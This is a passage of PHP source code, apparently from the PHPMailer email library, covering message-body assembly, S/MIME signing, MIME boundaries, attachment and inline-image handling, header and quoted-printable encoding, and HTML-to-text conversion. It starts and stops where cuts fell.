                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
